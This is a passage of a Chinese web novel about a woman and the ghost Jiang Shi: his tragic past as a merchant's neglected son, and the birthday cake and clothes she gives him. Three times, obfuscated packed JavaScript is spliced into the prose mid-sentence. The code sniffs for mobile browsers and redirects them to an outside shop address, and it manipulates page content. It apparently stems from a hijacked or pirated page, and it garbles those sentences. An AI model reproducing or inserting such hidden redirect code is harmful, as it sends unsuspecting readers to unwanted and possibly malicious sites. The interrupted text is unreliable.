“是啊,我也好、豆乳也好、煤球也好,都是偶然间和你产生交集的。第四个朋友,你自己好好挑吧。” 她想给江时,一个由他自己主动选择的权利。 而不是一直在被动地接受着一切,最后留有遗憾。 这是那一晚看星星时江时提起他母亲后,喻声一直想做的一件事。 ——谁说是偶然间产生交集的? 江时想。 明明是他主动求来的。 他百年来都在祈祷,于是有颗星星就降落在他身边。 江时的手指在每一个盆栽上划过,最后定格在一个黄色陶瓷盆底的盆栽上,点了点。 “就它了,刚好三个肤色。”江时想起喻声给他吃过的芝士蛋糕,“它叫芝士。” 豆乳、芝士、煤球—— 谁又能为煤球发声一下? 好在他还尽着先来后到的责任,认认真真给煤球挑好了新的洒水壶。 喻声会做的食物也不多,所以买食材也很简单,菜无非就那几种好水煮的,肉买来买去伸手拿的还是猪肉和牛肉,水果不吃,零食不吃,活得很健康。 “买这个吧。” 江时认真地问喻声。 喻声正在对比着两份牛肉的区别,闻言偏头看,是一份手工饺子,写着白菜肉馅。 几乎是第一时间喻声就反应过来,他选的这个是她喜欢的,而不是他喜欢的。 所以她问的不是你喜欢吗,而是: “你怎么知道我喜欢这个?” 江时摸了摸鼻子,坦言道:“福珠告诉我的。” 喻声失笑:“我进去和院长打招呼也就十几分钟吧,你们俩到底聊了我多少事情?” “也没聊什么。”江时知道喻声这是同意的意思,他把手工饺子放进小推车里,“只是我们之间能聊的也只有你,我发现我连你喜欢吃什么都不知道,才问她的。” 结完账后走出超市,天已经彻底沉下来了,灯也不怎么亮,小巷昏暗,并肩走,看不见一个人,也看不见尽头,于是喻声顺从地把全部东西都交给了江时来提。 她两手空空,垂下晃荡,想起了刚才未尽的话题:“你想知道,为什么不来问我呢?” “问你的话,你都会跟我说吗?” “当然啊,这又不是秘密,我们不是朋友吗?” 这个不是秘密,那什么是秘密呢? 她喜欢的,他都可以随意提问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16399129|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗? 他很笨。 他想问。 喻声,有些问题太难解读,答案在漫长的夜里看不清楚,你能不能教我。 “嗯。”江时笑了笑,压下眉眼,没说别的,把她的话重复了一遍,声音轻不可闻,“我们是朋友。” - 朋友能做的事就是帮忙把所有东西都提上楼,送回她家里去,但鬼不行,一路上喻声都心惊胆战,怕遇到人,她真想不到该怎么解释为什么塑料袋会在她后面,不对,是在她旁边飘。 事实证明,喻声这种想法是极具前瞻性的。 公寓楼下,几乎是在她从江时手里把所有东西都接过来的下一秒,后面就凭空响起舒云繁的声音。 “声声!” 江时退至一旁,东西全挂在了喻声单只手指上,她不露痕迹地调整了下提的位置,放被勒得生疼的那根手指喘息,转身,却被吓到。 “你怎么也提了这么多东西啊?” 舒云繁显然也看见了喻声手里提的一整袋东西,嘿嘿笑出声:“我们真是心有灵犀啊。” “心动男嘉宾发的特色烧烤的照片馋了我好几天了,这不前几天快递买的烧烤架才到家,我就多准备了点食材,今晚必须吃到,一会儿多拍点照片馋回去。”她上前,挽着喻声的胳膊往楼道里走,“我还想上楼再跟你说,没想到在楼下就碰到你了,等会来我家吃吧。” 喻声想了想:“来我家吧,我这边阳台大,还是露天的,好散油烟,刚好我买了很多肉和菜。” 舒云繁欣然答应:“好啊好啊。” 舒云繁看来是真的想把她的心动男嘉宾给比下去,买的烧烤架巨大无比,她吭哧吭哧搬过来的时候,后面还跟着看起来巨小无比的豆乳,一对比冲击力是相当地大。 喻声把提回来的东西都安顿好,书提回房间,芝士和洒水壶放在了煤球旁边,饺子放回了冰箱里,剩下的肉和菜连带着舒云繁带来的那些全搬到了阳台,就着夜景边聊天边穿在竹签上。 “我晚上见到你哥哥了。”喻声说,“在书店门口。” 舒云繁拖长音调哦了一声,她没抬头,把果木炭摆好,问:“你们有聊什么吗?” “没聊什么,就说了点工作,挺仓促的,他尴尬,我也有点尴尬。” 舒云繁笑出声,说她大概能想象到那个画面:“我哥他不太会说话,要是说了什么不该说的,你就直接忘了,别搭理他。” “不是他,是我的问题。”喻声利落地穿好所有的牛肉,在烤网上摆开,“可能我还是没有学会怎么更好地跟人打交道。” 她想了想,又补充:“你除外。” 心里又补充一句: 你和江时除外。 该相信人与人之间是有磁场存在。 舒云繁被她这句“你除外”哄得服服帖帖,好心情地开口:“原来是借着说我哥表白我呢。” 她环顾四周,找了个打火机,准备点火:“无以为报,燃个火庆祝一下吧。” 火烧起来的那一刻,有噼啪声响,喻声突然想起来一件事。 一件很重要的事。 她本来可以阻止的,从楼下到现在,有整整三十分钟的时间让她去阻止,可是她却放任时间流失。 喻声呼吸一窒,近乎本能地扭头去寻江时,可是未果。 厨房边放着架子的那块地方,除了煤球、芝士、和在地上焦急地转圈圈的豆乳,空空如也,像从未有人来过。 19. 100岁 峰终定律,指的是人们评价的产生多依赖于高峰时刻和结束时刻。 喻声发觉她脑海中关于江时的记忆也由这两部分组成。 一部分是笑得眼睛亮亮、嘴角小括号深深、泛泛的他。 一部分是灰扑扑的、平静的、却有读不懂的情绪在翻涌、偶尔的、例如刚刚的他。 喻声又想起了便利店门口那个拥抱。 她的手环住他的腰时,才发觉他有多单薄,凸起的骨骼硌着喻声的心,想帮他恢复六楼蒲团下那张照片上的脸颊肉的愿望终归没有实现。 胃是个很神奇的器官,此刻面对着挤满了烧烤架的食物它却摆摆手说没空间放了。喻声不会抛下舒云繁去找江时,但她吃饭时把心不在焉写在了脸上,基本上没怎么动筷子。 “虽然肯定不如临山的特色烧烤,但味道还不错啊,你怎么不吃?”舒云繁的腮帮子鼓鼓囊囊,手指虚空划过烤盘,说道,“这一整片都进我嘴里了。” “你多吃点,我不是很饿。” 喻声手托着脸,听到舒云繁的话后夹了个口蘑进嘴里,嚼得勉强。 舒云繁顾着和心动男嘉宾对话,笑得乐不可支,倒没发现喻声的异样,正好给了她胡思乱想的时间。 江时会去哪里? 他能去哪里? 喻声的手不自觉地摸向手机,又停顿。 她怕江时会责怪她。 她宁愿江时责怪她。 可事实是,她在六楼找到江时的时候,他看起来平静无澜,腿微张,屈着,身上那件从未脱掉的西装外套扔至一旁,衬衫虚虚挽到手腕,手里还捏着旧照片,手臂松松搭在膝盖上,窗户罕见地打开,空壳一样的身体由窗外的星星填充。 他听到脚步响后扭头抬眼,随即笑了笑问:“是不是打扰你吃饭了?” 他把蒲团扫了扫,拎到身边,拍了拍,示意喻声坐下。 喻声坐下,把食盒递给他:“吃吧,我已经上过香了。” 透明的食盒,江时低头看了眼,是牛肉和饺子,看着像是她另外煮的,他笑着说了声谢谢,没打开,就抱在怀里。 “没有打扰我,舒舒吃完就回去了,和人约了视频。”喻声说,“我一猜你就可能在这里。” 她轻巧地、笨拙地隐去所有焦急的细节,烤架上的油滋啦响,反复煎制着她的心脏,直到见到他时这种感觉才消失了些。 “嗯。”江时说,“你一定能找到我的。” 那种感觉又重新出现。 喻声缓缓伸出手,覆在他的手背上,手指收拢,握住他的手。 源源不断的温暖传递过来,江时全身僵住,低头去看,怔怔地,没作声。 “要跟我说说吗?你的故事。从福利院回来的那个晚上,在公交车上,你跟我说,以后有想谈的可以和你谈。那你呢?想跟我谈谈吗?说不定说出来会好点呢?” 循循善诱的语气,江时抬头看喻声,看到的是大片的、旷阔的草坪,十岁以前,他和母亲很爱坐在上面看星星。 也是在这个时候,他才从母亲流着泪握着的照片中得知父亲的样貌,而那张照片,是父亲留给母亲的唯一一件东西。 当时还扎在小镇,山水皆美丽的地方,天蓝树绿,脚下土地是实的,母亲居家做点针线活,家境虽清寒,经常饱一顿饥一顿,却很幸福,无拘无束,自由随风,从不觉得乏味。 偶有烦恼是总有八卦的人来打听他的父亲去哪里了,母亲只是笑笑,说丈夫因病去世,才带着孩子举家搬到这边来。 江时不在意这些,他像棵竹子,昂扬挺立,挡在母亲面前,把不怀好意尽数推了回去。 他掷地有声,告诉所有人—— “我不需要父亲,有母亲就够了。” 他真的需要母亲就够了,母亲温柔,对他几乎是有求必应,有一年冬天,他馋弄堂口那家的面,一提,母亲笑,放下手中的针线,说这么喜欢就带你去。 江时一直记得那天的天气,深秋时节,雨点飞溅,风带腥气,更显得面前那碗卧了鸡蛋的青菜面温暖飘香。 江时顿时有种虚飘飘的感觉,母亲平时爱训他吃饭规矩,今天安静地坐在他对面,一声未训,面前那碗也一口未动,只久久地注视着他的脸。 江时吞了口面,把鸡蛋夹到金绚碗里,故甚其辞,抿嘴笑道:“母亲为何这么看着我?难道我今天长得又比昨天好看了?” “又贫嘴。”金绚把鸡蛋又夹了回去,往他手上塞了一把糖,抬眼瞧外面的天气,一看没雨了又急急看向江时,“在这乖乖吃,等我一会儿。” 江时应了一声。 母亲不在跟前,他反而吃饭守规矩了起来,轻一挑面慢悠悠吃,目光落在金绚提来的皮包上,思索着。 他来时问了金绚皮包里装的什么,却被一敲头,说小孩子怎么管这么多。 不多时,金绚回来,还带了照相馆的何师傅来。 江时从冷却的面中抬起脸,讶异了一瞬,却没显露出来,乖巧、礼貌地喊了声何叔。 金绚请了他来帮拍张照,就站在小巷口拍,金绚把皮包搁在地上,弯下腰,趁何师傅鼓弄相机的间隙替江时理着衣裳。 江时小声问她:“为啥好端端的要拍照?” 金绚沉吟片刻,笑容在脸上影影绰绰:“不是你看着你父亲的照片一直说,缺了一张我和你的合照吗?真拍了你又不愿意了?” 江时把解释听进耳朵去,不疑有他,漾起满脸的稚气说那一定是要拍的。 他好奇,直勾勾地盯着相机,被何师傅一句站好别动定住,全然没发觉身边的母亲已满脸是滚落的泪珠。 雾气经久不散,风雨又席卷而来,吹打着竹子,竹子拗不住,终于弯了腰。 江时顽皮,却也爱依赖着母亲,母亲瘦,但他爱漫山遍野地跑,又吃得少,比起母亲更显得瘦削,胳膊不长,他还留有记忆,记忆里,他要一只手环过来搭住另一只手的前臂才能把母亲环住。 他不明白,为什么母亲从此会变成薄薄的一片,只用两个指尖就能捏住;他也不明白早已死去的父亲怎么能从薄薄一片变成活生生的、对他冷眼旁观的人。 天平非要平衡的话,能不能告诉他,究竟得付出什么,才能把母亲还给他? 就算文章写得不好,被先生提到父亲面前去,他的父亲,那位传说中富甲一方、掌握着一片地区经济命脉的商会会长、江家怀,也只会疲乏地摆摆手让管家去家法伺候,目光从不落在他身上哪怕半分。 江家怀的姨太众多,江时的兄弟姊妹也多,但他分不清谁是谁,每个人都长着同样的面庞,长着他父亲的面庞。 他这一辈的,每个人都姓江,时字辈,唯独他没名。 在这座公馆里,像江时这样孤零零一个人的,挨欺负是常事。 包里的死虫子、从天而降的桶冰水、不允许他上桌却也不给他留饭,江时逆来顺受,沉默地接纳着一切。 只是有时候躺在一天到晚都发潮的床上时江时也会想,父亲是否知情。 他可能不知情。 他眼里心里只有他的商业帝国。 金玉其外,所有人都是剔透玲珑心,他大概是陌生的公馆其中唯一的败絮。 但并不是所有人的脸江时都记不清,有一天他实在饿得发慌,趁夜偷找吃的误打误撞进了另一栋连着的楼。 江时躲着,薄如蝉翼的心脏砰砰,听下人毕恭毕敬地喊着“大太太”,他曾听闻这位大太太不问世事许久,只虔心吃斋念佛,却从未在公馆里见过,她竟比他母亲还瘦,端坐着,半阖眼,手中的佛珠一颗一颗缓缓拨动。 面前的红烛淌着泪,烛光摇曳,在大太太脸上晃晃跳跃着,映得她像观音。 观音慈悲,轻掀眼皮时瞧见他,定定地从上到下扫了一眼,唤了下人做了粥和蟹粉小笼包端给他。 观音慈悲,许那只蝉活过冬天,许他在吃人的公馆里跌跌撞撞长大。 后面再长大些,江时终于从一堆面庞中分清哪个是他父亲的,分清了,也就有私心了。 在这座公馆里,不管你是谁,都要争一条自己的活路。江时深知他的活路不在读书,读书教会他的远没有这个家教会他的多,在这个家学到的一分一寸全被他丢去助长了野心。 江时从家里搬了出来,开始学着他父亲投身于商海之中。 他没觉得害怕,只觉得充盈,许久未见的少年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16422051|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气又回来,他吃了太多苦头,在业界却传成了很有点石成金的能力。彼时金钱手中过,铜臭气却离他万丈远。 他不信命。 他坚信: 烂命一条也能当海东青,从江公馆飞出去的那一刻,就此翱翔天际,自在逍遥。 在商界渐渐崭露头角后,很快江时就获得了他贫瘠人生中的第一个机会。 离家几年后,江家怀喊了江时回去,书房里,他拍了拍江时的肩膀,问他会不会下象棋。 江时颔首。 他当然会,被先生提着送到书房时,周遭事物皆铭记于心,只要是江家怀书房里有的,他都卯足了劲学。 一局完毕,胜负已分,江家怀把最高的那颗棋子缓缓推到江时的面前。 江家怀说:“回去罢。” 他摆摆手,一如往年。 江时垂着的手往上抬,把棋子紧紧握在手心,握了一路,手心湿了一路,没坐车,脚步轻快,飞似的回了自己家。 一路皆姹紫嫣红、生机盎然。 恍惚回到了最稚气的时候。 很多年后江时回想起来,从江家怀那里接过棋子就像书生卢生从道士吕翁手中接过青瓷枕头一样,他以为他终于在这么多年后能真正做自己想做的事情,但终究是黄粱一梦,水里捞月一场空。 江时待人处事尽可能好,只是不愿在别人身上看到小时候的自己。在商会扎根后,杂事众多,他亟需找帮手,寻来寻去的,最后定下的是当初端来粥和蟹粉小笼包给他的长青。 长青比江时长个几岁,好几年不在江家做工了,后来他母亲生了病,又想重新回江家,但江家多的是下人,也不是想进就能进的,最后只好作罢。 他辗转几次后被江时偶然得知,就收了当手下,出钱给他母亲治了病,还教他学问,教他处事道理。 又是一年团聚之日,江时早早给长青结了工钱,放他回去和母亲团聚,他当然没去江公馆,就这么一个人守着家。 从十岁到二十岁,江时就这么念着活了十年,终于明白到底得付出什么,才能把母亲还给他了。 火光四起,平铺的红,血一般的质地,吞噬整栋楼,舔舐着他,他蜷缩着,闭眼,把和母亲的照片死死护在胸前,和执念一起坠入无尽的黑。 江时重新回到了母亲身边,回到了那片看星星的草坪,一大一小两座土坟,他又重新听到了佛珠拨动的声音,一颗一颗,很急。 观音慈悲,心疼他苦海无边,要他回头是岸。 观音慈悲,尊重自然规律,把蝉留在了夏天。 他终于信命。 烂命一条当不了海东青,他一生都被困在了江公馆里。 后来他的灵魂逗留人间,兜兜转转,一路枯枝朽木、腐败滋生,偶然再次踏入了江公馆,见到了父亲。 江家怀听着他兄弟姊妹虚伪地说早已送他去母亲那里时没什么反应,只呼出烟雾,淡淡问了一句。 “那颗棋子,带回来了没?” 江家怀怎么会不知情。 纵然他眼里心里只有他的商业帝国,但眼线众多,公馆里没有什么能瞒得住他的。 江家怀只是不在乎,多一个孩子少一个孩子有什么重要的,他给每个人的爱就像店家煮的那锅黄粱小米饭,时间短,也不熟。 后来江时才知道,长青、长青,长情、长情,只是长情于非他的其他人罢了,可笑他雾里看花,其他人是哪些人,左右长着相同相似的脸庞,抑或也有不一样的,江时分不清,也已经不想了解了。 江时没再见过母亲,想来是她已去往她想去的地方,孤苦无依,他就再没离开过这栋房子,这里烧后重建,往上建六楼,他就一直住在六楼。 这里的房东,听说是长青的后代。 江时执拗地守着六楼,后面房东请了道士来看,最后给他布置了香案,六楼没再动过,不了了之。 不了了之,四个字足以概括江时的一百二十年。 他看错了。 这哪里有草坪? 明明是流着泪的喻声。 他毫无保留,她包容一切。 一百二十年,只有她的眼泪,是真心实意为他而流。 20. 100岁 眼前天旋地转,周遭变得虚浮,手中的照片和食盒全滑落在了地上。 比起回想过往带来的悲伤,江时最先感受到的是蓦然贴上来的柔软。 蒲团被踢远,喻声半跪在地上,挤进他微张的双腿之间,一只手环住了他的脖子,一只手慢慢抚摸过他顺从躬下的脊背,她克制不住地流下悲怆的泪,呼吸急促,却还是一遍又一遍地呢喃。 “都过去了……江时……都过去了……” 江时把头埋进了喻声的颈窝。 他没想哭,走马灯似的再过一遍自己的人生都没落泪,却因她的安慰而决堤,从哽咽到恸哭,后知后觉的悲伤席卷而来,浸入衣衫里,他牵住喻声的衣角,很紧,像溺水时抓住唯一一块浮木一般。 这个姿势维持很久,久到江时渐渐停止了哭泣声,他侧过头,更贴近喻声的脖子,鼻音很重,小声说:“眼睛好痛。” “那你闭上眼睛,我在呢。” 喻声知道这或许只是他无法直视这么脆弱的自己的一个借口,但她想告诉他,不管多大多小的事,只要他需要,她就会在,过去的已经成为过去,不会再伤害现在的他任何。 “肯定很痛吧。” 痛苦随性随机地锚定人,也不管被它选中的这个人是否能承受,喻声恍惚算着年龄,始终不敢置信怀里的人才堪堪二十岁而已为什么要经历这么多,他这么小,他会多疼。 “对不起,是我的错,我不该强迫你回忆这些事情。” 喻声的本意是劝他放下,她轻飘飘一句“想跟我谈谈吗”就妄图撬起所有,可当她被江时仿佛讲他人故事一般的无悲无喜的表情扎到时,她才明白这是一件多残忍的事情,最终只是让他用眼泪把“放下”二字洇开了墨,变得模糊不清,却也久久留痕而已。 “说出来我轻松了很多。”江时闭着眼,脑海中浮现的是喻声跑上六楼时的表情,“是我的错,害你为我担惊受怕。” 讲过往的是他,受伤的却是她。 ——早知道不讲了。 江时想。 但他却很受用喻声这么反复哄着他的这一面,受用到有些贪心的话自己骨碌出来: “喻声,能不能别离开我。” ——“喻声,我还有用,所以别不要我。” ——“喻声,能不能别离开我。” 喻声一怔。 这是第二次,听到江时说这样的话。 他应该很没安全感吧,付出真心却从未得到过真心,所以初见时习惯用恶作剧来把所有人推开,所以当初提出的“包吃包住包精神需求”只是不想再回到孤零零一个人的生活,所以每次都需要听到很确定的回应心才会安定。 喻声不知道感情的界限在哪里,也不知道她和江时算什么关系,互取所需?还是朋友?抑或是还有别的? 但好像不太重要。 不管是什么关系,她唯一能知道的,是她很习惯江时,很依赖江时,说出很确定的答案她的心也会跟着安定。 “好。”喻声说,近乎笃定的语气,“我不会离开你的。” “江时。”喻声犹豫着,欲言又止,“我有件事——” “嗯?什么事?” 喻声沉默的时间太久,江时直起身,从她的怀抱中退出来,疑惑地眨眼,很专注地打量着她皱成一团的脸。 胸前起伏加速,喻声停顿,随即若无其事地伸手,笑着按住江时的嘴角往上挑。 “开心点。也没多大的事,下次再跟你说吧。” - 其实喻声一开始跟江时说的一部分真一部分假。 真的部分是舒云繁的确约了她的心动男嘉宾视频,假的部分是压根没等到吃完,她想去找江时的心太过迫切,好在舒云繁的心也没放在吃上,一收到对方说「下班了」的消息就弹射离座,两人火速收拾了后就各去见自己想见的人。 这么做的后果是,那天剩了太多没吃完,而舒云繁自己平时也根本不开火,食材全留给了喻声,以至于喻声和江时连吃了两个多星期的生菜牛肉。 江时垮着脸:“其实鬼也不是每顿都要吃东西的。” 喻声微笑:“如果你以后每一顿都不想再吃的话。” 江时:“……” 好严重的威胁。 喻声看他吃瘪后继续生无可恋地嚼着牛肉,笑得开心。 其实生活总是千篇一律的,牛肉也好生菜也好,在日复一日中充当着绿叶的角色,但总会有些新鲜的纪念日来为绿叶添点漂亮的色彩。 喻声以自己写作需要为由向舒云繁讨教经验:「舒舒,做蛋糕难吗?」 三明治大师舒云繁发表意见:「我觉得还行,我反正第一次做就成功了。」 舒云繁:「你想试试吗?」 喻声:「有点。」 喻声:「那你今天有空吗?」 喻声:「我买点材料去你家,你陪我做吧。」 舒云繁:「可以是可以。」 舒云繁:「下午五点左右吧。」 舒云繁答应后,又发来了一个疑惑的表情:「但你需要为写文付出这么多吗?直接网上搜教程复制粘贴进去不就好了?」 喻声:「实践出真知!」 喻声:「我从不水文!」 两个感叹号把舒云繁逗笑:「行行行。」 舒云繁:「是我说错了,用教你做蛋糕来补偿你。」 舒云繁:「[链接]」 舒云繁:「你照着我发的这个链接准备材料吧,下午五点来我家。」 喻声:「你真好!」 喻声:「晚饭我包了!想吃什么随便点!」 喻声:「Ggamja土豆小黄狗撒花.jpg」 “我觉得实践也不是一定会出真知。” 舒云繁双手抱在胸前,无奈说道。 喻声的袖子挽得很高,正在往切得很丑的蛋糕胚上挤着奶油,专心致志,闻言没有抬头,顺着舒云繁的话说下去:“那会出什么?” “……”舒云繁躬下身,捏着旁边完全塌下去的、不像蛋糕胚更像饼的那块东西,为自己的收徒名声担忧,“声声,话也不用说得那么直白吧。” 舒云繁想不明白,明明都手把手教了,步骤也一步没差,怎么会失败成这样。 喻声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16432666|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“……” 她本想假装听不懂舒云繁的话,但一分神,不小心捏紧手中的裱花袋,袋口处早已蓄势待发的奶油呈抛物线飞出,顺利地降落在奶油已经过多的蛋糕胚—— 不,降落在奶油已经过多的饼上。 “……要不听听我的意见?”舒云繁把多余的奶油勾走送入嘴中,靠着厨房台面,含糊说道,“我觉得在网上搜教程再根据教程内容润色一下,应该也不算水文。” 喻声:“……这师父怎么这样啊。” 舒云繁:“叽里咕噜说什么呢?” 喻声扬起个笑脸,双手虔诚地呈上裱花袋,在地板上转圈圈的豆乳好奇地往上望。 “我说你这师父太好了,绝对不会弃小徒弟不管的。” ——真诚是永远的必杀技。 喻声捧着还算凑合的蛋糕回家时,难掩笑意地想。 她来舒云繁家时随便扯了个理由,就说舒云繁有事找她,晚饭不在家吃了,让江时自己待在家,他也没多疑问,就说好,一看到晚饭终于不是生菜牛肉时,这句“好”显得更真情实意。 喻声不是一个人回家的,还带了豆乳过来,一开门,豆乳就往里猛冲,喻声的目光跟着豆乳,循过被擦得噌噌亮的地板。 趁她不在家的时候,海螺姑娘悄悄辛苦地工作过。 ——猫猫头战士又多了一个新称号。 喻声想。 她又借着豆乳第一时间看到了在给煤球和芝士喷水保湿的江时,突然想起来舒云繁刚才说的话。 “看在你这句师父的份上——” 她说,“有两种选择,PlanA呢就是我直接帮你做了,你在旁边录像就行,这样你回去也好根据视频直接写;PlanB呢你要是觉得网上做法太多种太繁杂了,我就把我的教程写下来给你,保证简单明了,绝对对得起你这句师父和一桌的晚饭,你看看你要选哪个。” 喻声思虑再三,弱弱地问:“可以选PlanC吗?” “什么PlanC?” “回来了?” 脑海中的声音和现实中的声音叠在一起,喻声把蛋糕盒抱在怀里,回应着:“对,回来了。” 江时被豆乳蹭着裤脚,他蹲下,习惯性地伸手蹭了两把回去,嘴角弯弯,声音很低,温润轻快地问你怎么也跟着回来了。 他不说想豆乳,却一直惦记着。 这是喻声提出PlanC以及向舒云繁借走豆乳的初衷。 PlanC是—— “我想自己再试试,人生中的第一个蛋糕,总有特别的意义。” 因为知道总有人在惦记着。 即使他不说。 那也没关系。 她替他实现,替他说,替他在PlanA和PlanB中选择PlanC。 10月30日,晚上八点整,在他生日倒数第四个小时。 “江时。” 喻声走上前,和江时震惊的眼神对上,她的眼睛弯弯,声音亮亮,讲着全世界最好听的一句话,递上了手中那个不太漂亮、却格外熠熠生辉的蛋糕。 “祝你生日快乐。” 21. 101岁 外面好像在下雨,厨房的窗虚掩,风呼啸着,携带着雨丝,争先恐后从缝里钻进来。 有什么东西,比谢谢更快来临,掉在了江时伸手接过的蛋糕上。 江时垂眼,不想被喻声察觉,他直勾勾盯着手中的蛋糕,声音闷闷:“谢谢,我很喜欢。” 喻声有点不好意思:“这是我第一次学做蛋糕,有点不太好看,味道可能也一般,你别介意。” 江时闻言立马抬头,反驳式地脑袋晃了两晃:“我真的很喜欢,蛋糕很漂亮,我会全吃完的。” 他这么一抬头,眼睛氤氲着的雾气全然暴露在喻声眼前,他眨着眼睛试图掩盖事实,和豆乳每次等在饭碗边时的神情很像。 喻声歪头,好奇看向他,像发现了什么新大陆一般:“你哭了?” 江时沉默一瞬:“……我没有。” 喻声笃定:“你肯定哭了。” 江时嘴硬:“风太大了,沙子进眼睛里了。” 喻声忍俊不禁:“所以果然是真的哭了吧?” “……”江时伸出两根手指,往后抵了抵喻声越探究越靠近的额头,闭了闭眼,脸快红透,“你放过我吧。” 他很喜欢。 这就够了。 喻声笑盈盈,不再逗他,直接握住他的两根手指,把他牵到客厅沙发,后面的豆乳如影随形,一起来到了客厅。 她岔开话题:“蛋糕成不成功我心里还是有数的,我给你准备了其他东西,你先在这里坐一会儿,等我一下。” 不多时,她捧了一个纸盒出来,递给江时,交换他手里还没放下的蛋糕:“打开看看。” 喻声蹲下来,在茶几上解开盒子上系的蝴蝶结,把蛋糕取出来,她往蛋糕上插着蜡烛的间隙,江时刚把纸盒打开。 江时扬了扬眉,把盒子里的东西提着抖落开:“这是——” 喻声抬眼。 她给江时准备的是从头到尾的一整套衣服,包括鞋子在内allblack,和他此刻身上的白衬衫对比鲜明。 喻声只瞥了一眼,又低头,淡定地继续插着蜡烛:“上次看你把西装外套脱掉,才发现你好像只有这一套衣服,就多给你买了一套,和西装的风格很不一样,看看你喜不喜欢。” 喜欢是喜欢,但—— 江时问:“你怎么会知道我的尺寸?” 如果他知道她在房间对着墙丈量高度、对着空气模拟拥抱、对着尺码图和一个个教怎么选尺寸的视频无奈叹气,会不会觉得她很傻? 于是喻声把辛苦历程全隐去,留下三个字:“凭感觉。” 江时半信半疑地点点头。 喻声催促他:“你不去试试吗?” “好啊。” 谁说新鲜的纪念日才能为绿叶添点漂亮的色彩? 明明换上新衣服后、新鲜的人也可以。 喻声眨眼,微仰头,看向边走出来边理衣服,脸上写着别扭的江时。 衣服合身,裤子是阔腿设计,稍微宽松,晃晃荡荡,堆了一点褶在鞋子上,江时整个人被柔软布料包裹的样子比喻声预想中的要好看太多,她还以为西装就会是顶配,原来好看的脸不挑服装才是真理。 她太佩服自己的挑选能力,才第一次就能交出满分答案,也有可能是模特比较给力,喻声不吝夸奖他:“很好看,很适合你。” 也偷偷在心里夸奖自己。 江时脸上的别扭消减了一点,他松了口气,肩膀往下沉,还是有点不确定:“真的?” “真的,可惜只有我能看到。” “我只要你看到就够了。”江时很快接了一句,又欲盖弥彰地问,“插蜡烛吗?” “对。”喻声果然被绕了进去,讲着传说,“古希腊人信奉月亮女神阿尔忒弥斯,他们相信,蜡烛可以承载人的祈祷和愿望。” 喻声笑:“阿尔忒弥斯这么厉害,就算不点燃蜡烛时许的愿她也能听到。所以吃蛋糕前,先许个愿吧。” 喻声照顾他不能见火这件事自摊开讲的那天过后像变成了天经地义,他心里那杆关于亲密关系的秤也天经地义地朝她倾斜。 观音果然慈悲,心疼他苦海无边,把他送到了喻声身边。 她这么说,江时当然要照做,他学着她往地上坐,面向蛋糕,双手合十,虔诚闭眼。 如果可以的话。 请月亮女神阿尔忒弥斯保佑,时间停留在这一刻,眼前人永远是身边人。 咔嚓一声。 江时呼吸乱了一瞬,随即睁开眼,心里又默默把愿望再念了一遍。 眼前人坐在身边,和他靠得很近,笑得开心,举着拍立得,和闭着眼许愿的他来了张合照。 喻声摆弄着手中的相纸,看见江时睁眼,和他解释:“拍立得是我和舒舒借的,这么重要的日子,当然要拍——” 话还没说完,声音顿住,兴奋来得突兀,她把照片举到了江时面前:“这张好像有点拍到你了。” 比起临山的那张,这张显然成功了一点。 模模糊糊一个剪影却不在江时的视线范围内,他看的是别处,盯的时间太长,怕被发现,他急急收回目光,轻轻缓缓嗯了一声,撑地的手指不自觉蜷缩。 喻声高兴,摩挲着那个剪影,把照片妥帖收了起来。 许完愿的下一步是吃蛋糕,喻声一共插了二十一根蜡烛,两人一左一右把蜡烛拔掉时喻声突然问:“我该祝你101岁快乐,还是该祝你21岁快乐呢?” 江时沉吟片刻:“还是101岁吧。” “有什么讲究吗?” “21岁的话,那真的得叫姐姐了。” “……” 喻声把所有拔起来的蜡烛都放进塑料袋里,忍笑道:“又不是没叫过。” “只叫那一次就够了。” 江时说着话,抬起刀,把蛋糕一切到底,分成两半,喻声那句“一刀两断的寓意不好”还没说出口就憋了回去,她总不至于在江时做完后还说这种话来扫兴,权当没这个玄学在。 比起去想这种不好的寓意是否会实现,还是期待许的愿能落实更实在。 “要不要把你的愿望跟我说?如果阿尔忒弥斯不能帮你实现的话,说不定我可以。” ——你当然可以,只有你能做到。 江时想。 江时笑,把切好的蛋糕递给喻声,将真实念头隐藏:“那你陪我再去看看福珠吧,上次的图画书还没给她讲完。” “就这么简单?” “对,就这么简单。” 喻声想起来去看福珠这件事是书店那晚她向江时提的,也不知道这是她帮江时实现愿望,还是江时帮她实现愿望。 “那刚刚好。” “嗯?” “总不至于让福珠觉得哥哥都101岁了还只有那一件衣服。” “……” 